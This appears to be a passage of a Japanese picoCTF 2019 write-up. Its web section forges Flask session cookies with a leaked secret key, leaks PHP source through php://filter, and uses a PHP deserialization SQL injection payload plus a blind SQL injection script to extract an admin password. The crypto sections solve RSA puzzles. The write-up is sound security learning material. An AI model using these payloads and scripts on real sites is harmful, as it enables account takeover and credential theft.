<function not_found_error at 0x7f99cb4d49d8>}}}, 'url_build_error_handlers': [], 'before_request_funcs': {}, 'before_first_request_funcs': [], 'after_request_funcs': {None: [<bound method LoginManager._update_remember_cookie of <flask_login.login_manager.LoginManager object at 0x7f99cb5215c0>>]}, 'teardown_request_funcs': {}, 'teardown_appcontext_funcs': [<function SQLAlchemy.init_app.<locals>.shutdown_session at 0x7f99cb537950>], 'url_value_preprocessors': {}, 'url_default_functions': {}, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7f99cc608d90>, <function _user_context_processor at 0x7f99cb8cf268>]}, 'shell_context_processors': [], 'blueprints': {'bootstrap': <flask.blueprints.Blueprint object at 0x7f99cb5210b8>}, '_blueprint_order': [<flask.blueprints.Blueprint object at 0x7f99cb5210b8>], 'extensions': {'sqlalchemy': <flask_sqlalchemy._SQLAlchemyState object at 0x7f99cb521e10>, 'bootstrap': {'cdns': {'local': <flask_bootstrap.StaticCDN object at 0x7f99cb5215f8>, 'static': <flask_bootstrap.StaticCDN object at 0x7f99cb521ac8>, 'bootstrap': <flask_bootstrap.ConditionalCDN object at 0x7f99cb58bfd0>, 'jquery': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53a9b0>, 'html5shiv': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53ab00>, 'respond.js': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53ab70>}}, 'nav_renderers': {'bootstrap': ('flask_bootstrap.nav', 'BootstrapRenderer'), None: ('flask_bootstrap.nav', 'BootstrapRenderer')}}, 'url_map': Map([<Rule '/list_items' (HEAD, OPTIONS, GET) -> list_items>, <Rule '/register' (HEAD, OPTIONS, POST, GET) -> register>, <Rule '/add_item' (HEAD, OPTIONS, POST, GET) -> add_item>, <Rule '/employee' (HEAD, OPTIONS, GET) -> employee>, <Rule '/logout' (HEAD, OPTIONS, GET) -> logout>, <Rule '/index' (HEAD, OPTIONS, GET) -> index>, <Rule '/login' (HEAD, OPTIONS, POST, GET) -> login>, <Rule '/' (HEAD, OPTIONS, GET) -> index>, <Rule '/static/bootstrap/<filename>' (HEAD, OPTIONS, GET) -> bootstrap.static>, <Rule '/static/<filename>' (HEAD, OPTIONS, GET) -> static>]), 'subdomain_matching': False, '_got_first_request': True, '_before_request_lock': <unlocked _thread.lock object at 0x7f99ced04d50>, 'name': 'app', 'login_manager': <flask_login.login_manager.LoginManager object at 0x7f99cb5215c0>, 'jinja_env': <flask.templating.Environment object at 0x7f99cb521fd0>, 'jinja_loader': <jinja2.loaders.FileSystemLoader object at 0x7f99caf19898>}
前回と同様に SECRET_KEY
が確認できるので、以下のリンクの記事を参考にデコードしました。
また、デコードすると、'user_id': '6'
という項目が見えたので、user_idを6から2に変更してエンコードしてみます。
#!/usr/bin/env python3 import zlib from flask.sessions import SecureCookieSessionInterface from itsdangerous import base64_decode, URLSafeTimedSerializer <200b> class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # NOTE: Override method def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) <200b> class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) <200b> @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) <200b> <200b> if __name__ == '__main__': secret_key = 'ce6a474e832ece298c50448e1feb069d' cookie = '.eJwlj0GOAjEMBP-SMwfHdpyYz4xix9YipF1pBk6IvzNo79WlrlfZco_jp1wf-zMuZbutci0LKT2wGfIkBLUFsxJKqxFiiwwbO6dWXtWny-oKzr2FpyeozpPvo4Mpip8O8wGUPU3EsyHpsFDhFdKmJLCOAcLQKVIlBpRL8WPP7fF3j9_zz4QmdMLuqOZmow0nm4JDVUGT6uzB_t09j9j_I6S8P-KOPy4.XZ6zUQ.68q9mcR3zPZhvVjHj1leknR39hI' print(FlaskSessionCookieManager.decode(secret_key, cookie)) <200b> session = {'user_id': '2', '_fresh': True, 'csrf_token': 'a0563e65cc29bcbb858c3ba62899909f31a7e4c0', '_id': 'd23fce25b24a3209bd0a132651ee6bd3b254c4f914d1cac6d790c475ecfcf099ad0a7870b926c24abc803f7fb66cf52398be964de65a6f04988064073ef96e80'} print(FlaskSessionCookieManager.encode(secret_key, session))
実行すると、以下のようになります。エンコード結果をCookieに入れてページを更新すると、別ユーザでログインができました。
$ python solve.py {'user_id': '6', '_id': 'd23fce25b24a3209bd0a132651ee6bd3b254c4f914d1cac6d790c475ecfcf099ad0a7870b926c24abc803f7fb66cf52398be964de65a6f04988064073ef96e80', '_fresh': True, 'csrf_token': 'a0563e65cc29bcbb858c3ba62899909f31a7e4c0'} .eJwlj0GOAjEMBP-SMwfHdpyYz4xix9YipF1pBk6IvzNo79WlrlfZco_jp1wf-zMuZbutci0LKT2wGfIkBLUFsxJKqxFiiwwbO6dWXtWny-oKzr2FpyeozpPvo4Mpip8O8wGUPU3EsyHpsFDhFdKmJLCOAcLQKVIlBpRL8WPP7fF3j9_zz4QmdMLuqOZmow0nm4JDVUGT6uzB_t09j9j_I7C8P-KCPyo.XZ6zyA.8uz51Tc99ltKGYRP04QGe6iaJTE
ログインできたユーザのページのToDoリストのページを見ると、フラグが書かれていました。
Very Urgent: Do dastardly plan: picoCTF{cookies_are_a_sometimes_food_e53b6d53}
picoCTF{cookies_are_a_sometimes_food_e53b6d53}
cereal hacker 2 - Points: 500
Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
phpのfilterを使って、ソースコードを漏洩させることに成功しました。
https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=login
Base64デコードすると、以下のようなソースコードとなっていました。
<?php require_once('../sql_connect.php'); require_once('cookie.php'); if(isset($_POST['user']) && isset($_POST['pass'])){ if(isset($_COOKIE['user_info'])){ unset($_COOKIE['user_info']); } $u = $_POST['user']; $p = $_POST['pass']; if($sql_conn_login->connect_errno){ die('Could not connect'); } if (!($prepared = $sql_conn_login->prepare("SELECT username, admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) { die("SQL error"); } $prepared->bind_param('ss', $u, $p); if (!$prepared->execute()) { die("SQL error"); } if (!($result = $prepared->get_result())) { die("SQL error"); } $r = $result->fetch_all(); if($result->num_rows === 1){ $perm = new permissions($u, $p); setcookie('user_info', urlencode(base64_encode(serialize($perm))), time() + (86400 * 30), "/"); header('Location: index.php?file=login'); } else{ $error = '<h6 class="text-center" style="color:red">Invalid Login.</h6>'; } $sql_conn_login->close(); } else if(isset($perm) && $perm->is_admin()){ header('Location: index.php?file=admin'); die(); } else if(isset($perm)){ header('Location: index.php?file=regular_user'); die(); } ?> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Sign In</h5> <?php if (isset($error)) echo $error;?> <form class="form-signin" action="index.php?file=login" method="post"> <div class="form-label-group"> <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus> <label for="user">Username</label> </div> <div class="form-label-group"> <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required> <label for="pass">Password</label> </div> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button> </form> </div> </div> </div> </div> </div> </body>
cookie.php
を読み出しているようなので、これも出力させました。
https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=cookie
<?php require_once('../sql_connect.php'); // I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password; function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die('Could not connect'); } //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) { die("SQL error"); } $prepared->bind_param('ss', $this->username, $this->password); if (!$prepared->execute()) { die("SQL error"); } if (!($result = $prepared->get_result())) { die("SQL error"); } $r = $result->fetch_all(); if($result->num_rows !== 1){ $is_admin_val = 0; } else{ $is_admin_val = (int)$r[0][0]; } $sql_conn->close(); return $is_admin_val; } } /* legacy login */ class siteuser { public $username; public $password; function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die('Could not connect'); } $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; $result = $sql_conn->query($q); if($result->num_rows != 1){ $is_user_val = 0; } else{ $is_user_val = 1; } $sql_conn->close(); return $is_user_val; } } if(isset($_COOKIE['user_info'])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info']))); } catch(Exception $except){ die('Deserialization error.'); } } ?>
cookie.php
には、使用されていないsiteuserクラスがあり、SQLインジェクションができそうです。
siteuser
を呼び出すように調整し、Base64エンコードしたものをCookieのuser_info
に登録して、更新するとログインすることができました。
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or 'A'='A";} ↓ Base64エンコード Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnQSc9J0EiO30=
ログインすると、以下のようなメッセージが出てきます。今回は、adminのパスワードがフラグとなっているようです。
Welcome to the admin page! Flag: Find the admin's password!
パスワードの個所を' or binary password like 'pico%
に変更してみました。これでもログインできるようです。
O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:32:"' or binary password like 'pico%";}
Blind SQLインジェクションでパスワードを特定することができそうです。 以下のようなスクリプトを作成し、パスワードを1文字ずつ特定していきました。
import requests import base64 import string def check_password(password): php_serialize = "O:8:\"siteuser\":2:{s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:" + str(len(password) + 28) + ":\"' or binary password like '" + password + "%\";}" user_info = base64.b64encode(php_serialize.encode("utf-8")).decode("utf-8") url = "https://2019shell1.picoctf.com/problem/62195/index.php" params = {"file": "admin"} headers = {'Cookie': "user_info=" + user_info} response = requests.get(url, params=params, headers=headers) if "You are not admin!" in response.text: return False else: return True def main(): flag = "" while True: for ch in string.printable: if ch == "%" or ch == "_" or ch == "\\": ch = "\\" + ch test_flag = flag + ch if check_password(test_flag): flag = test_flag print(flag) break if __name__ == "__main__": main()
実行すると、1文字ずつパスワードが出力されていきます。
$ python solve.py p pi pic # 省略 picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7 picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7} # 省略
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}
Cryptography
The Numbers - Points: 50
The numbers... what do they mean?
数字の書かれた画像が渡されます。各番号がアルファベットの何番目かを示しているようです。 また、Hintsを見ると、すべて大文字であると書かれていました。
以上の条件を基に、変換用のスクリプトを用意しました。
def main(): alphabet = [] for i in range(26): alphabet.append(chr(ord("A") + i)) enc_flag_prefix = [16, 9, 3, 15, 3, 20, 6] enc_flag_body = [20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14] flag = "" for i in enc_flag_prefix: flag += alphabet[i - 1] flag += "{" for i in enc_flag_body: flag += alphabet[i - 1] flag += "}" print(flag) if __name__ == "__main__": main()
実行すると、フラグが表示されます。
$ python solve.py PICOCTF{THENUMBERSMASON}
PICOCTF{THENUMBERSMASON}
13 - Points: 100
Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}
ROT13で変換するだけ
picoCTF{not_too_bad_of_a_problem}
Easy1 - Points: 100
The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it?.
table.txtを見ると、ヴィジュネル暗号だと分かりました。 今回は、以下のサイトを使って解きました。
ENCODE_DATAVIGENERE CIPHERTEXT: UFJKXQZQUNB KNOWING THE KEY/PASSWORD: SOLVECRYPTO
picoCTF{CRYPTOISFUN}
caesar - Points: 100
Decrypt this message. You can find the ciphertext in /problems/caesar_6_238b8f4604d91ecb59cda5b4f0e66fc8 on the shell server.
rgdhhxcviwtgjqxrdcdydkefyh を11文字ずらすと、crossingtherubiconojovpqjs となり、読める文字列が出てきました。 この文字列がフラグとなっていました。
picoCTF{crossingtherubiconojovpqjs}
Flags - Points: 200
What do the flags mean?
国際信号旗が並んだ画像なので、それぞれ文字に変換するとフラグになります。
PICOCTF{F1AG5AND5TUFF}
Mr-Worldwide - Points: 200
A musician left us a message. What's it mean?
message.txtを開くと、以下のようになっています。
picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}
GPSの緯度経度になっていそうです。 GoogleMapで検索し、その都市の頭文字がフラグとなっていました。
picoCTF{KODIAK_ALASKA}
Tapping - Points: 200
Theres tapping coming in from the wires. What's it saying nc 2019shell1.picoctf.com 21897.
netcatで2019shell1.picoctf.com:21897に接続すると、モールス信号が出てきました。以下のサイトで変換すると、フラグとなりました。
PICOCTF{M0RS3C0D31SFUN1818224575}
la cifra de - Points: 200
I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 1172.
netcatで2019shell1.picoctf.com:1172 に接続すると、暗号化された文章が表示されます。 Vigenere Solverというサービスに文章を張り付けて「Break Cipher」を押すと、復号されました。
picoCTF{b311a50_0r_v1gn3r3_c1ph3raac148e7}
rsa-pop-quiz - Points: 200
Class, take your seats! It's PRIME-time for a quiz... nc 2019shell1.picoctf.com 49989
RSAに関する問題が出題されるので、1問1問解いていく必要があります。 以下のスクリプトを作成して解きました。
from pwn import * from egcd import egcd from Crypto.Util.number import * con = remote("2019shell1.picoctf.com", 49989) # #### NEW PROBLEM #### # q : 60413 # p : 76753 # ##### PRODUCE THE FOLLOWING #### # n p = 60413 q = 76753 n = p * q con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y") con.sendlineafter("n:", str(n)) # #### NEW PROBLEM #### # p : 54269 # n : 5051846941 # ##### PRODUCE THE FOLLOWING #### # q p = 54269 n = 5051846941 q = int(n/p) con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y") con.sendlineafter("q:", str(q)) # #### NEW PROBLEM #### # e : 3 # n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920 # 409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223 # 827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349 # 888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998 # 608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873 # 769413489072243477764350071787327913 # ##### PRODUCE THE FOLLOWING #### # q # p con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "N") # #### NEW PROBLEM #### # q : 66347 # p : 12611 # ##### PRODUCE THE FOLLOWING #### # totient(n) q = 66347 p = 12611 totient = (q - 1) * (p - 1) con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y") con.sendlineafter("totient(n):", str(totient)) # #### NEW PROBLEM #### # plaintext : 635729417148931154719098761554457513358196788649948409135266140641404444047520534288284123635766597343146 # 2491355089413710392273380203038793241564304774271529108729717 # e : 3 # n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116 # 332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159 # 718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087 # 472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943 # 158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054 # 327141666320553082128424707948750331 # ##### PRODUCE THE FOLLOWING #### # ciphertext plaintext = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717 e = 3 n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 ciphertext = pow(plaintext, e, n) con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y") con.sendlineafter("ciphertext:", str(ciphertext)) # #### NEW PROBLEM #### # ciphertext : 10752401345107934853994451075614360420392571726218503379932844501179276054552894499371978339254216342863 # 717232351225262456711111066616866474311520379151098570994236660962643699588778167465127223356630381497967750710116858 # 7739375699009734588985482369702634499544891509228440194615376339573685285125730286623323 # e : 3 # n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165 # 260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332 # 556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947 # 907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246 # 790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939 # 559180772690007261562703222558103359 # ##### PRODUCE THE FOLLOWING #### # plaintext con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "N") # #### NEW PROBLEM #### # q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410 # 980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756 # 238894784951597211105734179388300051579994253565459304743059533646753003894559 # p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891 # 389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398 # 338364421624871010292162533041884897182597065662521825095949253625730631876637 # e : 65537 # ##### PRODUCE THE FOLLOWING #### # d q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e = 65537 totient = (q - 1) * (p - 1) d = egcd(e, totient)[1] con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y") con.sendlineafter("d:", str(d)) # #### NEW PROBLEM #### # p : 15314304227252786879841261241720443415693514687428299094238669402046286191806868456128176357703470660060838769914 # 807101519472553339412606982685718242866042781827737872497755436591023152482725816090449377474874908847732820481217193 # 5987088715261127321911849092207070653272176072509933245978935455542420691737433 # ciphertext : 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962 # 867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922 # 816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022 # 851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133 # 241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515 # 144782123152608246868892673838596163063470464 # e : 65537 # n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206 # 671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167 # 457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736 # 952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206 # 600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051 # 640937681745409057246190498795697239 # ##### PRODUCE THE FOLLOWING #### # plaintext # Prime factorization: # http://www.factordb.com/index.php?query=23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 q = 156408916769576372285319235535320446340733908943564048157238512311891352879208957302116527435165097143521156600690562005797819820759620198602417583539668686152735534648541252847927334505648478214810780526425005943955838623325525300844493280040860604499838598837599791480284496210333200247148213274376422459183 ciphertext = 17712948302053968160337608808023765353713891487724504165710075800666176704275900270871131114252105275962867934935572601922131269231577652839874752278037120009042079114201440532529424282349775046830004126930931418790562922816147664822871476098418888441696782597264107603520215924140671864491508516555630119132820414262583115708142593728022851982531082194761937261873838830778405312620786370902097963783652483624611685252621820304116460797923537545175795133241570733730324869356742756474956593641308168807758853188030625975084213572477077655289967561799083034525042713829515144782123152608246868892673838596163063470464 e = 65537 n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 totient = (q - 1)*(p - 1) d = egcd(e, totient)[1] if d < 0: d += totient plaintext = pow(ciphertext, d, n) con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y") con.sendlineafter("plaintext:", str(plaintext)) # If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;) log.info(long_to_bytes(plaintext)) # con.interactive()
実行すると、フラグが取得できます。
$ python solve.py [+] Opening connection to 2019shell1.picoctf.com on port 49989: Done [*] b'picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}' [*] Closed connection to 2019shell1.picoctf.com port 49989
picoCTF{wA8_th4t$_ill3aGal..ob7f0bd39}
miniRSA - Points: 300
Lets decrypt this: ciphertext? Something seems a bit small
eが小さい場合、e乗根を取れば、dを求めなくても復号することができます。 以下のようなスクリプトを作成しました。
from Crypto.Util.number import * import gmpy n = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673 e = 3 c = 2205316413931134031074603746928247799030155221252519872649602375643231006596573791863783976856797977916843724727388379790172135717557077760267874464115099065405422557746246682213987550407899612567166189989232143975665175662662107329564517 m = int(gmpy.root(c, e)[0]) print(long_to_bytes(m))
実行すると復号され、フラグが取得できます。
$ python solve.py b'picoCTF{n33d_a_lArg3r_e_11db861f}'
picoCTF{n33d_a_lArg3r_e_11db861f}
waves over lambda - Points: 300
We made alot of substitutions to encrypt this. Can you decrypt it? Connect with nc 2019shell1.picoctf.com 32282.
netcat で 2019shell1.picoctf.com:32282 に接続すると、英文のようなものが出てきます。 文字が別の文字に置き換えられているようなので、quipqiupというサイトで頻度分析させました。
何個か文章を投入すると、フラグを確認することができました。
congrats here is your flag - frequency_is_c_over_lambda_ptthttobuc
picoCTF{frequency_is_c_over_lambda_ptthttobuc}
b00tl3gRSA2 - Points: 400
In RSA d is alot bigger than e, why dont we use d to encrypt instead of e? Connect with nc 2019shell1.picoctf.com 10814.
e が大きい場合、Wiener's attackが可能です。 Wiener's attack をやってくれる便利なパッケージ(owiener)があったので、こちらを利用しました。
from pwn import * from Crypto.Util.number import * # https://github.com/orisano/owiener import owiener def main(): p = remote("2019shell1.picoctf.com",10814) p.readuntil(": ") c = int(p.readuntil("\n")) p.readuntil(": ") n = int(p.readuntil("\n")) p.readuntil(": ") e = int(p.readuntil("\n")) log.info("c = {}".format(c)) log.info("n = {}".format(n)) log.info("e = {}".format(e)) d = owiener.attack(e, n) if d is None: log.info("Failed") else: log.info("Hacked d = {}".format(d)) m = pow(c, d, n) log.info("Decrypted m = {}".format(m)) log.info("FLAG is {}".format(long_to_bytes(m))) if __name__ == "__main__": main()
実行すると、フラグが取得できます。
$ python solve.py [+] Opening connection to 2019shell1.picoctf.com on port 10814: Done [*] c = 4774732332714455228447437454375085287438113094510705622565209540406158544192371221474039148741132698332899707 761558926535951434336674823314108709415949894273759938561946919816407019113229448896657605778122423697702690417187896 9389742278493731341296974608724452883146077945077303068381534891047003614426446140 [*] n = 1249218555702404025513072023692307392870890573252402401494687118623513969280321534397775459964559263638701064 385358179940317246727234976265890353666646605691233301904449501277556129327953488417593016878361835646132395593764719 61866289049119995908059607752806267038483834548300954424281214270576214916759529837 [*] e = 3469532653446931973143252967826934276063284894691583153334192125545142632229185432520302870481545953698160851 723803285361498775490048528005819036184186263132882740696267072282136189395678305847742843535569399331186952968315263 8557450321038802057171235263098948186046633226808033374087456395922717278307438273 [*] Hacked d = 65537 [*] Decrypted m = 180638594769037903267909311328535969949661653466692454888976509 [*] FLAG is b'picoCTF{bad_1d3a5_4986370}' [*] Closed connection to 2019shell1.picoctf.com port 10814
picoCTF{bad_1d3a5_4986370}
b00tl3gRSA3 - Points: 450
Why use p and q when I can use more? Connect with nc 2019shell1.picoctf.com 37874.
3つ以上の素数でnが決まっている場合、Multi-prime RSAと呼ばれています。この場合、素因数分解が現実的な時間でできるので、復号が可能です。 ただし、2つの素数の場合と違ってオイラー関数の計算方法に注意する必要があります。
復号するスクリプトを作成しました。
from pwn import * from egcd import egcd from Crypto.Util.number import * import sympy def totient(n): factors = sympy.factorint(n) rst = 1 for i,j in factors.items(): rst *= (pow(i,j) - pow(i,j-1)) return rst def main(): con = remote("2019shell1.picoctf.com", 37874) con.readuntil(": ") c = int(con.readuntil("\n")) con.readuntil(": ") n = int(con.readuntil("\n")) con.readuntil(": ") e = int(con.readuntil("\n")) log.info("c = {}".format(c)) log.info("n = {}".format(n)) log.info("e = {}".format(e)) phi = totient(n) d = egcd(e, phi)[1] if d < 0: d += phi log.info("d = {}".format(d)) m = pow(c, d, n) log.info("Decrypted m = {}".format(m)) log.info("FLAG is {}".format(long_to_bytes(m))) if __name__ == "__main__": main()
少し時間がかかりますが、実行するとフラグが出力されます。
$ python solve.py [+] Opening connection to 2019shell1.picoctf.com on port 37874: Done [*] c = 1840556992979634193428518768644495816711437789339218710030359606441297420776748646088923621078126163000138180 855492758012557107198647574121538138969200803987149420050803347879156481013228911949915900143262124287307577802961966 446102354437305156534323595829363183308109702399110027183377345405131457700937813504042605998540020035958785230470658 50 [*] n = 2173609478595598104998101419607070288388729743584025414628630839058648003842712474409314857778216999672033113 588226808060857041432651873014243459372742852659613623179026515640778251705432680744367379769529116372164709261293753 684748883753185459905587570469605371132308709724323585171805362843306378600825759987502719159257762938382520525820555 69 [*] e = 65537 [*] d = 1279284443765596289661578569113705692193372599563668959723734606956107240462628888756149974260183921550081952 572121432927139520184116072195816248745020035547055880542508529944747017311129129995404253814229121004872259723320368 265802879473637836460149518452160723035091193400040427238031572750144531575857044743167777701147199007534081328104734 73 [*] Decrypted m = 13016382529449106065933618925167173598170118383294989999418818439563972994937213 [*] FLAG is b'picoCTF{too_many_fact0rs_0744041}' [*] Closed connection to 2019shell1.picoctf.com port 37874
picoCTF{too_many_fact0rs_0744041}
john_pollard - Points: 500
Sometimes RSA certificates are breakable
証明書なので、とりあえずopensslコマンドで展開してみます。
